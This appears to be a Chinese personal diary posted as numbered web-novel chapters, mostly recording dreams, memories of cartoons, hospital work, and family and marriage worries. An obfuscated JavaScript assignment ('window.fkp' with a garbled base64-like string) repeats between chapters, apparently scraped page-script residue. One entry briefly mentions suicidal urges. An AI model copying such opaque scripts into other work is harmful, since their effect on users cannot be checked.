    后面的话，调理好了，没有了身体很热的症状，但是我吃的和以前一样多，然后就变得消耗的更少，吃的食物一样，胃口和吸收又好，就导致自己胖了，我该做的就是多运动。让自己变得更有精力。吃的方面不想改。因为我怕我改了会精力不足。我又不喝咖啡了，以前上班会喝咖啡提神，后来没有喝了。
    老实说咖啡好像是利尿的，吃了会很想上厕所。给我的感觉是忧伤的感觉，我也不知道为什么我喝咖啡会很忧伤，咖啡让我想起了同桌，给我过了生日的那个同桌。我都没有给她过生日，每次想到这个我有点子无奈。可惜了。可惜她对我很好，但是我感觉我没有她对我那么好。而且当时的自己还经常批评她，因为她上课玩，在当时我认为我应该这么做，因为提醒她，可以让她也好好学习的意思。但是现在去回忆确实觉得自己出发点是好的，但是没有做到位。没有做的更完美，可是现在的我也没有办法做的很完美。
    咖啡能够想到什么？咖啡豆，猫屎咖啡，蓝山咖啡，在某一个电视剧里看到的，不记得电视剧名字了。那个时候感觉这个名字的咖啡会比较有逼格。还有咖啡机还有咖啡拉花，有一个视频是说有一个人他很想练拉花，然后用酱油和牛奶一直练，直到练成为止，还有就是一个喜欢的博主，自己练，每次她都拉很好看的拉花，对于咖啡就只能联想到这些了，还有就是我玩的消消乐游戏，游戏里有咖啡。好像关于咖啡想不到什么了。
    老公在看《黄飞鸿》。这个我没有看过。打打闹闹的。我老公喜欢看的《斗罗大陆》。我看了之后，很喜欢看。因为画质好美，男主角好帅。蓝银草。还有兔子精。让我想到了兔子不吃窝边草，但是那个蓝银草和兔子是一对，还有菊斗罗。他的身影和声音都很特别。后面没有看了。那段时间在休产假，然后我们看了好多国产的动漫，还好。现在没有看过。
    以前看的就是《秦时明月》很好看。那个墨子还有其他的，特别是一个很美的美人角色，头发像雪一样白的女性角色，第一次看的时候觉得她就像仙女一样，特别特别的美。后面没有怎么看了，还记得那个什么风萧萧兮易水寒。这个词，但是其他的不记得了，好像就是这个动漫里出来的。想到了蓝猫三千问。小时候看的，可惜后面没有了。蓝猫真的就像启蒙动漫一样，就像现在女儿看的汪汪队一样，特别的兴高采烈。后面魔女的考验，那是最喜欢的。魔法咪路咪路，犬夜叉，水果篮子，猿人泰山。之类的。还有一个动漫有好多把剑的，开天剑还是什么，看不懂，还有的就是猪八戒，西游记，之类的，其实很多的内容都忘记的差不多了。突然想起来了龙珠，龙珠也忘记了。可能看的比较少。
    后面大了一点，还是喜欢看动漫，虹猫蓝兔七侠传，神厨小福贵，格桑花，等之类的动漫，小鲤鱼历险记。以前看赖皮蛇还吓得自己不敢说话，但是那个时候的自己并不是小孩子了。但是还是胆小。还有喜欢小美美的乌龟。还有海马。总之给自己的回忆也不少。后面还有我的妹妹小桃子。一个得了重病的妹妹，看的人眼泪汪汪的，还有生日快乐，一个面对校园欺凌的女孩子，还有她妈妈很讨厌她，因为她长的像妈妈的姐姐，而姐姐得了重病，所以家里人一直在照顾姐姐忽视了妈妈，后面，女孩成长了。那个片段记忆那么深是因为我看到了女孩子在摘西红柿，那个瞬间觉得很美好。还有一个不知名的动漫就是一只猫，然后女孩在追着那只猫，但是不记得动漫名字了。还有猫之报恩，好温暖。还有芭比公主，很美好的形象。
    芭比梦想豪宅，这个是我二十几岁左右看的，我好喜欢。
    以前看的是芭比之蝴蝶仙子，在姑姑家看的，简直了，那个时候好开心，能够看到这个动漫，整个人都很快乐，不知道怎么形容的快乐。后面天鹅湖，没有看。长大了再去看天鹅湖，天鹅公主，没有那种期待的感觉。还有的芭比公主，十二位舞公主。那个动漫好看，书本里一般般，后来去搜搜不到了，还有一个会滑冰的公主，不记得是什么名字了，还有真假公主，总之很特别。灰姑娘还有美女与野兽。
    给我的启示，我没有想过什么启示，就是开心，感动，别的没有去思考。
    以前看东西，几乎不怎么去想。
    后面长大了，已经很少去看动漫了，看完了火影忍者。这个动漫他们很小的时候就看完了，而我是二十几岁看的，火影还可以。不过小时候的我未必会喜欢看这个，如果是我我会觉得很恐怖。好可怕，我胆子小。长大了就没有这种想法。后面超能力女儿，我喜欢瞳。瞳真的很像女儿。而且她的能力好喜欢，会工作，能够独立拥有房子，还有天分。这是我羡慕的人。现实世界里很难做到这样子的。记起了我初中喜欢的一个小说就是别人写的那种女生类的小说，女主角就是好好打工的那种类型，不过还是免不了套路就是会会有一个富家公子哥喜欢的类型。但是那篇小说写的很美，怎么讲呢？就是好词佳句用的炉火纯青，还有一些文章也是写的也太好了，然后我就去划线，发现人家写的太好了，我学不来，我都不知道怎么模仿。后面就没有写了。太可惜了。就是一段文字里，至少一连串都是很好的词语。真的是不知怎么形容，好佩服，佩服的五体投地。我感觉我很难写的这样好。
    不管理科还是文科其实都好，让我想起了网球王子，有一个就是他们一群人学到了极致，后面很多东西都触类旁通。其实本质就是一样的。
    不知道我在写什么，没有主题。乱写的去。但是可以看自己的思维会是什么样子。看过一本书，里面的记忆法就是这样子。一个一个的联想，然后后面就变得可以记住很多事情，那些记忆的线索就像网一样，一个连接着一个。
    好了休息吧！
    然后就在做学习强国的时候不小心睡着了，还好有闹钟。梦里面好像来到了一种什么山，山里面有什么东西，像外星人一样，长着梯形，上窄下宽的长脸。然后梦里我像是某种黑色生物，把它们一锅端了，醒来的时候还笑，我老公说我睡了一觉，特可怕，睡醒了在哪里笑，不知道梦到了什么。
    睡醒了的我没发现什么，还好困要休息了。我也不知道梦里的我会是什么角色，会不会是大反派，还是好的呢？梦里面好多东西领了盒饭。
    我会不会是一个坏的角色啊？真的好担心，可是好的哟也不知道是做什么啊？而且那个场景里根本不知道自己是人还是鬼，还有那种黑色的生物，真的好圆，不知道怎么讲，像那种圆圆的黑色的球一样，但是它又是人的样子，只是是黑色的人。负阴而抱阳，世界也应该是阴阳平衡的，如果黑色的阴，那么总会阳存在。不知道什么感觉。真希望自己的样子会是好的。
    算了不用想了。顺其自然。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第365章

    梦见了一个奇异的世界。梦见一个女孩子从什么世界过来，然后她的身体消失不见了。变成了四个部分。春天夏天秋天和冬天，是那种小小的很萌很可爱的娃娃。
    然后它们很小，它们加在一起又合成了一个女孩子的样子，但是她很虚弱，她在梦境的街上走着。
    下一个场景，梦里我在一个水池里，好像在洗澡，有一个很大的窗户。旁边有一个木板。有一个奇怪的灵魂，和我讲什么，梦里的我心情好像非常阴郁。后面好像是下一个场景，一个女人违规回到了另一个世界，她很漂亮，是红色的，穿的衣服非常华丽，因为她违规回到那个世界，所以她在梦境里和另外一个灵魂共用一个身体。她在漂亮的大厅里走着，然后我就静静的看着她。最后她坐在古典的椅子上，爽朗的笑了一下。我就从梦里出来了。
    梦里还有一些场景就是一个老婆婆在教一群人走猫步，我猜应该是模特，梦里我也是走猫步的一员，而且还上场了。后面就不记得了
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第366章

    梦境，梦见自己睡在了一个古香古色的房间门口的凳子上，是长凳子吧！反正我在那里睡着了，然后从天上来了一个灰色灵魂的女孩子，后面我就不知道怎么了进入了她的身体里，推来了那个古代一样的门，看到了里面有一群奇怪的灵魂，灰色的，还拿着键盘在手里敲打着。然后进入了一个梦境，梦里面是去一个卫生院接一个女孩子，那个女孩子开车载我，她很好看。然后她把我载到一个地方，可是下车的时候，她的衣服比较暴露，然后梦里的我旁边有一个男孩子，我给她的衣服贴上了什么，显得没有那么暴露，我旁边的男孩子，给她穿了一件外套，把她包的严严实实的，然后梦里的女孩笑了笑。我们后面去的那个家，很像那个一对夫妻得了癌症挂了的家，但是我们是在门口，没进去。梦里她说要去南昌。早上醒来的时候，感觉到了自己身体里融入了一个黑色的灵魂，那个灵魂我没有什么太大的感觉。不知道什么意思？
    要去外地的话，就要好好表现，好好工作然后争取进修的机会。只有这样子的办法。或者就是参加什么会议。刚好去那个地方。
    好好休息吧！
    老师说在隔离的人群，有百分之八十九都是无症状感染，其他的基本都很轻，没想到一放开就变成了这个鬼样子。我听了没有什么太多的想法。顺其自然。尽人事听天命。真的没什么想的。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第367章

    看了二十五分钟自学大全。没看懂，这部分的内容，都是怎么查找文献的。怎么用百科之类的。没有懂。
    看完了脑子就和一团浆糊一样，我又想看小说了。感觉有点子冷，忘记给宝宝开药了，昨天本来准备好的。今天锻炼了三十分钟身体。
    昨日之梦，昨天的小说很好看。然后梦境里是梦见了一个系统，梦里一个很倒霉的女孩子还有一个比较帅的男的，他们两个的血液无意间撒到了一个圆圆的白色的东西上，开启了一个系统。系统的名字叫《恋爱恶魔空间法则契约书》。然后他们被迫在各种空间里工作。后面那个倒霉的女孩子专心干事业然后遭雷劈。反正我很无语，我估计是在构想什么，这个应该是联想。和梦境无关。乱七八糟的。
    练了一个小时毛笔字，只会写一，发现自己已经五六年没有写毛笔字了，一也没有以前写的好。练到后面，才有一点点感觉。我觉得自己有点子大言不惭的想要书法第一名。还想拿奖，我真的是敢想。等我说完又怂了。
    和老公聊天，声音很大，我感觉今天骑车有点子会被撞的感觉，好可怕，他觉得我有问题，然后讲了一顿。后面和好了。心情复杂。
    真的好想吵架，脑子里进行了天人大战。后面都没有说出来。反正很气愤。顺便还有点冲动的想死。
    不知道为什么会这样子？我看到了黑色的东西在自己的身体里，它动的时候我就有想自杀的念头。不知道我又碰到了什么？
    真是醉了。这是什么？黑色的东西。负能量？搞不明白。
    好晚了。想睡觉。今天看到了一个观点，挣钱是一件枯燥乏味的事，想要变得有钱就需要不停的做这些枯燥乏味的事。虽然可能有的有钱人看起来生活非常的富裕富足，充满了让人羡慕的东西，但是那其实是富二代，只有富二代才能愉快的享受生活，富一代都在枯燥的打拼。
    这让我想到了各种游戏，特别是qq超市，那个游戏，然后不停的点的去，然后就有金币得，然后慢慢的店就大了起来。其实其他的店也是这样子的。算了我也不知道我在讲什么。可能我想表达的意思就是我想变得有钱，变得富有，变得富有的原因是我想要买一个四室两厅的房子，可能一百六十平左右吧！而且离上班的地方近。最好十分钟左右的路程。想的特别的美。
    靠工资估计没有希望，靠老公没希望。靠长辈没希望。如果想要达成这个愿望，只有自己，没有别人。所以想要练好字，去参加书法比赛，得奖金。十年得一次奖金也是美的。异想天开，我都不知道是否能够坚持下去，网上有教人家怎么写字的。反正愿望强烈应该坚持的下去，不强烈，就没有办法。十年啊！我能坚持三个月我都佩服我自己。加油。
    晚上做一个美梦，最好梦见自己书法得奖。做个有房子的有钱人。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第368章

    梦境。梦里面一开始梦到了一个牢房。牢房里有人来接人，然后我们就出去了，后面出去了以后是一个奴婢还有一个九尾狐女子，九尾狐被谁弄死了，然后奴婢说她喜欢哪一个人，然后她做了什么来着，后面出现了一个很大的妖精，不认识是干嘛的。
    后面来了又进了那个地方。然后有人找九尾狐。然后发现九尾狐被人带走了。然后打开了牢房的门。门里的人不喜欢他们进来。后面来了一个白色的孩子，发现了牢房里的秘密，牢房里的墙面上有一个棋局，和地面上的棋局相呼应。可以促进修行。后面白色的孩子和黑色的孩子就在那里下棋。
    然后棋面出现了白色的光。
    梦里我被一个女子吸引进入了一个楼。然后进入了哪个楼里。发现了女孩子她幻化成了另一个样子，梦里面就在找那个女子，但是没有找到。后面通过了一个长长的走廊看到了一个童子，她可能在拍照，我也不知道为什么要帮她拍照，然后就帮她。
    反正梦境有点子乱。第一开始的梦，是梦见了那个女子在说什么，说的内容刚好是经历的过程。然后第二个瞬间就是个经历那个过程。然后下一个场景就是一个楼，后面就是钓了一些鱼。梦里面我在娘家的洗手池把鱼捞起来，然后那个鱼被我一洗就掉了很多在池子里，然后我就拿起来，梦里我说好了好了老公。后面又来了其他人洗鱼，我不知道自己是在夹自己的鱼还是在夹别人的鱼。后面发现老公是个黑色的圆球一样的灵魂，笑眯眯的看着我说好了好了。我在梦里反思我是不是梦到了贪心。还是碰到了鬼。
    梦境里的九尾狐死了也太可惜了。最喜欢这个形象。然后梦里面出现的像山一样的大妖不晓得是什么物种。还有一开始接出去的人不知道是什么人。九尾狐是被坑死的。
    但是我不知道她怎么被坑死。算了。现在的情况很多妖精都会被坑死。而且那个棋，是白色的孩子下赢了，但是后面他完全黑掉了。后面其他修行的人，也变了颜色。不知道这是什么意思？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第369章

    今日，今天上班，在学习。我很希望自己好好干。然后发现单位的电脑不太好用，后面老师打了个趣顺电脑的事，然后我就马上接下去，想带自己的电脑过来上班。然后另外的领导说他以前就带了自己的电脑上班，然后是一个笔记本用了好多年，后面去隔离点被谁撞了一下，然后就坏掉了。后面还没有叫那个人赔。后面我就想带电脑。直到下了班还想带电脑上班。后面就和老公商量带电脑上班的事。然后老公说我们那么大一个单位会需要你带电脑上班吗？然后我就要带电脑上班，就一直和他闹，一直和他讲要带电脑。然后他被我逼得没办法，后面叫他去房间搬。后面我们就下楼，就要骑车走了。老公问是你领导叫你带电脑的吗？我愣了一下，我领导没有表态。后面突然之间想到了。院领导和我们是在同一层楼上班。万一我带了电脑，台式的，那么大不好搬。以后领导就会以为我嫌弃我们单位，连电脑都用自己的。像同事他们都没有想过带电脑上班。单位的电脑确实不好用，临床科室的很难用，后面发现主任的也难用，再后面发现更大一点的领导的电脑也很难用。
    不知道为什么他们就是不换电脑。听吐槽是听了好久。
    后面我就在反思我的想法。我想了一下确实自己有点子想的离谱。因为之前有一个老师是教我的，后面她说真的是要吃好参来教我。后面我就买了两包参给她。后面她好像更气了。已经气到无语了。
    我那个时候一点也不懂，为什么她会生气？真的不懂。后面她又确实家里出了情况。我觉得可能是家里的原因导致她心情很不好。现在想一下确实我的情商有待提高。
    我真的挺希望我能够好好上班。因为我不是毛头小子了，我还有宝宝，我有我的家庭。真的很希望干好自己的工作。希望我能提升自己的工作能力，还有情商。虽然我知道情商真的也是智商的一种。我承认我的智商有点子欠缺。我也在思考我活着的意义是什么？我想了一下我也不知道，希望下次注意。
    我确实是一个死读书的人。我不晓得我怎么办！我该怎么办？拿我这样子的人怎么办？
    后面用强国测了一下我的症状，要吃点安神的东西了。可能熬夜导致的，还有多梦。我又不知道我到底能不能睡个好觉。因为之前看了一次中医，确实让我睡的好香，但是会影响一些其他的东西。所以我也很难弄。还是吃点东西吧！好好修养一下！
    今天本来想写字的。后面出现了这个事没有写。本来想看中医书也没有看，我又一些内容，需要好好背，这个月会考。我好羡慕别人的脑子，他们都是两个脑子一起工作，我的不一样。几乎都是一个理智一个情绪在吵架。我觉得可能是没有休息好。
    平时太晚睡觉了。需要好好的休息。然后我需要好好的爱护自己。我也不知道为什么会这样子想。
    错过最重要的不是错了而是过了。
    我不晓得为什么会有这样子的想法。突然领悟到了什么？
    我的内心一直都想回到那个初识的那一天，希望在那个纯真的年岁好好的去喜欢那个人。但是我们错过了，不管是我愿还是不愿意都发生了。我很难受。很不快乐。我知道现在的自己和我唱反调是因为我没有像那个时候喜欢他的那个自己快乐。没有像那个时候喜欢他的自己爱护爱惜自己。我在怀念他也在怀念那个认真执着的自己。
    真的如果在我没有结婚的时候，他没有女朋友的时候，还去认识，这是一件很美好的事。但是我有家庭了。我不知道对方的状况。我没有去关注过，你突然让我去一个很遥远的地方，我真的是会很无语。
    希望我看到对方家庭美满，幸福我才会死心吗？可能吧！当年他吸引我的是什么？就是好好学习天天向上。富强，民主自信。等优质信仰。我不记得我们当年学校大楼上贴的那几个字了。大概就是这么一些优秀品质。老师想的好孩子好学生的样子他都有。然后同学也很喜欢他。班级里很多人都认可他。总之就是优秀。
    好好工作吧！这个年纪，看过小说里写的以前暗恋了多年的人，他们重新相遇，然后对方身上没有了曾经吸引对方的闪光点。有的可能时间久了，在大街上都互相认不出来。我一点也不想写这么残酷的事。我也希望两个可能互相暗恋的人终成眷属。但是对于我来说不合适。我的眼前人对我很好。我曾经喜欢的人，他也很好。。我希望我们都能好好的。
    如果真的要去看，那就好好工作，不到黄河心不死，去看去心碎一次。也许他并没有你想象的那么美好。也许已经长了胡子，也许爱喝酒，还有黑眼圈，还和你诉说着这些年的不容易。脱离现实生活的人理想状态的人，确实很吸引人，也很让人自卑。至少我面对他，我是自卑的。
    就像我的潜意识那个时候不停的在心里诋毁他，就是为了让心里高大的他可以配得上矮小的我。
    好好休息吧！好好工作吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第370章

    昨日之梦。梦境里是一个山，然后山里出现了一片水潭，一个女孩子在水边洗澡，后面进来了一个男士，男士没有看她的样子就从旁边走了，梦境里的女子的样子灵魂不是很好看。但是不知道啥意思？后面的场景就是一个人脸，但是那个人脸她有两双眼睛在脸上。可能意思是她带了面具，不小心把真实的样子露出来了。
    梦境里有一个男的在讲啥，我听不懂。
    后面就是梦境，因为想的事情很多，梦境里我回忆起的是一个场景，在哪里看了一个关于失恋的指导。可是那段时间我其实又没有谈恋爱。后面我就看了那篇文章。意思就是和自己的灵魂沟通，让自己接受什么情况。没看懂。
    如果你喜欢的人，他有女朋友了，那么我肯定选择放弃，放弃那段喜欢很难受，可是玷污他的灵魂我更难受。我觉得吧！因为经历过那种情绪很痛苦的感觉。
    如果我已婚，而我曾经喜欢过，他也曾喜欢过我的人，他还单身，那么，我可能会选择忘记。最好不要理。或者希望对方过的好好的，最好给他找个女朋友，心里安心。
    不过我想多了，这些可能都不太妥当。
    所以梦里是一个灵魂，她完全发黑了，然后另一个奇怪的灵魂他抱着她给她唱歌，然后听了一会儿歌声我睡着了。不知道啥意思？
    如果这个世界会灭绝，都是因为没有了第三者，或者婚外情，或者各种杂七杂八的乱糟糟的情绪。那世界会不会恨？不知道。
    想多了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第371章

    梦境，梦里面是一开始是梦到了一个沙堆，沙堆里有几个三个脚的鸡器鸟，然后机器鸟和一个小孩子玩，梦里我也和她玩。
    然后下一个场景就是一个入殓师，给死去的人化妆的。两个人，把一个死去的女子弄过来，发现女子在她们的手上好像活了下来。
    她们洗身体的卫生间上的水是挂墙上的，然后一按就好多水出来，整个房间都是水。
    然后那个女子就和入殓师说自己身体里有屎，梦境里入殓师就带她去厕所给她弄出来。梦里我帮忙准备了一盆泡沫。端过去。
    然后下一个场景。就是一个好大的脑袋，说要湿热蕴肺。然后一个小白团子，控制住了。
    然后下一个场景。梦里进入了一个世界，世界里有好多吃的。梦里面我就在凳子上吃好吃的。感觉还挺开心的。然后下一个梦境，就是梦到了哪个人死去了，我们在一个祠堂的一个房间。听说他是领导，后面我看到了一个白色的女士，我问她她包多少。她没有直接回答我，我想包两百，反正人家包会我们也是这个样子。然后就去那里吃饭，拿到了几个糖果。里面很像小龙虾。然后吃了几个。梦里脑子里一直有什么东西在说这个好贵好贵。不过我没有在意。
    那个祠堂都像我家那边的。但是那是很久以前就倒下来坏掉的祠堂。不知道为什么会梦见这个。
    梦里还有一些场景，记不住了。
    今天本来想献血的。因为我很想献血。我这一段时间嗯还健康子，然后今天我就咳嗽了，流鼻涕了，真的是无语了。
    献血没有献成。这次血红蛋白达标了，但是转氨酶没有达标。
    可能是熬夜，也可能是肥胖，半个月以后再看。
    科室里很需要好好上班的人。我需要一台电脑，连接内网。主任说想要招聘一个和小李一样的女孩子来上班。因为小李工作能力很不错。
    老师的心情很暴躁，因为她工作内容很多，而我就在那里干坐着，我面前的是外网电脑。干不了她的活。她都要忙死了。
    另一个老师，她是一家人都是学医，自己爸爸妈妈是医疗系统的，然后嫁的老公这边一家人都是医疗系统的。她看我现在这本书好快，两天就搞懂了。她说她考主管护师已经十多年了，而且也看完了医生的诊断学之类的书，所以她学我现在这本书学的很快，很容易懂。而且临床工作经验又很充足。有二十几年工作经验。我的话。我不知道我能不能学会。反正跟领导说让他试用。我也不晓得我会不会被辞退。如果我不管怎么努力都做不好的话，辞退其实也好。
    我也很难过，付出了青春时间，但是一点成果也没有，没有成就感，没有爱与归属感。在科室里拿了一点报纸，其实我不太想拿，想买，因为买就没有负罪感。但是我带回来了。单位好多报纸，其实我们都不怎么看报纸。搜了百度，为什么大家都不看报纸了，还要订报纸？说有的人还是需要报纸。像偏僻的单位。或者是地方的新闻，懂我还是不太懂。拼夕夕可以三块钱一斤买报纸写字练书法，比买宣纸更划算。更省钱。这是网上看的。而且墨水干了可以重复练。
    很多老人去世了。网上说我们都不希望自己的亲人去世。谁也不想。
    昨日之梦，还有一点点内容。梦里面在拿辣条涂抹身体，下体，像会阴之类的，我也不知道为什么要梦见这个。和我一起还有一个女孩子。她本来是一个很好看的女孩子，涂了以后她的灵魂变成了灰色。梦里的我看着她。不知道什么感觉。
    太晚结婚，别人会认为那些女士有病。这个说法我在一本书上看过。但是具体什么原因人家没有讲。我自己去想的话，我也想不明白。
    我想起来一个女士，她二十来岁没有嫁，然后所有外人都在催婚。她家里人不着急，然后在她三十一岁左右就嫁了，生活也还好。
    想起了自己结婚前，他们催婚我就谈不成。他们不催了我就成了。我的感觉就是很舒服。虽然也是赌气一样，但是这是自己选择的。不管怎么赌气都会好好的接受自己的责任。
    想起了老公家那边有一个老人去世了，家公他们说他的任务完成了，他的儿子已经取好了媳妇。所以去世了也不可惜什么。
    人生的任务可能是结婚生子，然后帮孩子娶媳妇，带孙子孙女，然后直到有一天他们都不需要自己了，满足了自己心里的人生期待，然后就可以了无遗憾的等待死神的召唤。大概吧！
    很希望自己好起来，好好工作。
    晚上练了一会儿字。写长横。可能比上次好吧！但是还是不够美。我发现我拿笔的姿势错了，后面拿了正确的姿势。然后手有点子酸。写了一点点。
    我很想看的内容，今天没有看。我看了我的要学的病历书。一下午。番茄钟好多个循环。我不知道我记住了多少。
    今天老公回家有点子晚，快八点了全家才一起吃饭。我的肚子咕咕叫了好久。家婆家公都很辛苦。看在眼里，希望我还是用心点。
    今天的天气很好。快递忘记了拿，然后我们发现还有移动的积分，兑换了一个杯子。我的杯子其实很多。保温杯。但是我没有想到自己要兑换什么，家婆兑换了枕头一个，用的爸爸的积分。看了一下电饭煲之类的，积分好多。要是能一年一年攒起来就好了，攒到一两万积分就可以兑换了。想的太美。
    报纸看了一会儿。内容还是不错的，看了没有太多杂七杂八的想法。这些报纸我应该能用很久。心里面好担心会不会让我赔？会不会不好？很不安心。
    就像小时候爷爷说过的那些做错事的人，其实就算没有人去抓他，他的心其实也是像住在牢房里一样，活的不舒服。
    这种感觉应该也就是活的不舒服。可是我又想我到底也是单位的一员，我到底有没有能够看一份属于自己的一份报纸的权力，这个我不知道，看了的我能带走吗？这个我也不知道。不踏实。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第372章

    梦境，梦到了一个男孩子，他和一个女孩子在海边玩，差点落水里了，然后另外一个孩子把那个男孩子送回来了。然后那个男孩子的奶奶说谁谁谁显灵了。但是她的样子有点子像着了魔一样。
    然后下一个场景，到了一个神婆的地方，她好像是一个妖精，她得意洋洋的说，她把一个男孩子的护身首饰给骗走了。她说这个首饰和一些东西的外观都一样，她怎么知道是谁的护身首饰，她说这些话的时候灵魂冒了很多黑丝。然后下一个场景，就是她指挥一个女孩子上班，来了人。然后另外一个女子进来了，她的灵魂是白色的，然后她不停的讲话，后面我进入了下一个场景，那个场景里梦到了一个猪八戒一样的人。他抱着一个孩子，那个孩子没有人的样子，其他的妖精都怕他。有一个妖精感觉很惊奇，说猪八戒居然也会有孩子，很稀奇。
    然后猪八戒抱着孩子在水上面行走。天空的颜色是很阴沉沉的。
    然后下一个梦，是猪八戒对孩子说：你忹废了我把你弄成人形的一片苦心。
    后面就是一片海，海上面出现了一个孩子。
    然后下一个场景就是梦见了狐狸精，她的灵魂很好看。不知道是不是她捡了孩子。
    然后下一个场景就是一片山。一个男孩子在玩手机，他教会了其他的灵魂玩手机。好像是杀妖精的，那个手机里妖精都很怕他。他自己的意识也进去了。像一只大鸟。后面出现了一个房间，房间里有一个女孩子在洗衣服。他拿了一个游戏给她玩。
    下一个场景梦里的空间很乱。好多黑色的东西围着。然后梦里面有一个孩子。很乱。不记得那部分内容了
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第373章

    梦境午休之梦。梦境里是在一个房间里，然后很宽的操场，我的手机又卡了，真糟糕。
    梦境梦见了一个很宽的操场，然后操场的右边上有一男一女坐在那里聊天，天空好像是黑色的夜晚的样子，右边的楼上还有人梦见里面我从楼上下来了好多次，看着他们，但是我不知道为什么我要一次又一次的下楼，下楼看着他们。
    后面他们在聊疫情的事，什么意思不晓得。梦境里要给她做核酸。然后做出来的结果不知道是有羊还是没有羊。梦里的我是这样子思考的。看着这些复杂的黑色的灵魂。
    然后就是操场上的那两个人。梦境里最后一次，女士带了一些工具，她在楼梯上舞蹈。那个舞姿非常奇怪，然后还带了一个小型飞机，那种无人机下楼。像拍视频用的，然后梦里我跟着她。我感觉这个很像那个杨紫演过的电视，安迪曲筱绡的那一部。不过我的角色和杨紫演的那个差不多。不知道为什么会这样子安排。然后就是下楼看到了一个白色的男的，他问我为什么要带那么多东西。就像我融入了那个女士一样。我说话手舞足蹈的，讲啥来着，我忘记了。然后我就醒了，醒了感觉自己很困想睡觉。我要看书了，不知道这个内容是什么。
    我妈妈午休打了电话给我叫我妹妹接她，打错了。然后我就做那么奇怪的一个梦。她说她也羊了，喉咙不舒服有点子拉肚子。不过外婆那里没有羊。外婆那里没有羊是件好事。不晓得她什么意思！电话号码上次都打过，怎么还会打错。故意的吧！而且她每次打电话给我我都做噩梦。不晓得什么意思。
    好困，想不通的不用想，反正都是自己的劫难。不太懂。妈妈的灵魂也是灰色和发亮的颜色都有，好像两个灵魂一样。搞不懂她。
    我要背书了。
    没有背成书，家里来客人了，家婆的姐妹，然后他们接人，顺便来家里吃晚饭。
    秃头的表哥也来了。有亲戚在人民医院住院。吃饭就是讲羊的事。讲了一会儿，然后吃完晚饭，我发现我课还没有上。然后我就在房间听课，然后听着听着就睡着了。然后课就自己放完了，我也睡了一会儿，等我睡醒发现老公的表姐也来了，因为有声音，我就做题，做强国，就没有出去，等她走了我才出来。我怕看到她我又产生了嫉妒心，至少得生气很久。能不见就不见。她逗了一会儿我女儿。
    后面我出去的时候，发现女儿不太愿意和我亲近。一个劲的哭。真的是，不晓得什么情况。
    家庭里面可能有什么人际关系网一样。只要家里来了老公家的亲戚，我的状态就变得很差，然后脑子里想的就不是我老公这个人，会去想其他人，而且出现的次数多了，就知道老公家的亲戚都不知道是不是有什么问题？还是我纯粹就碰的到这些人身上的负能量。无语子。
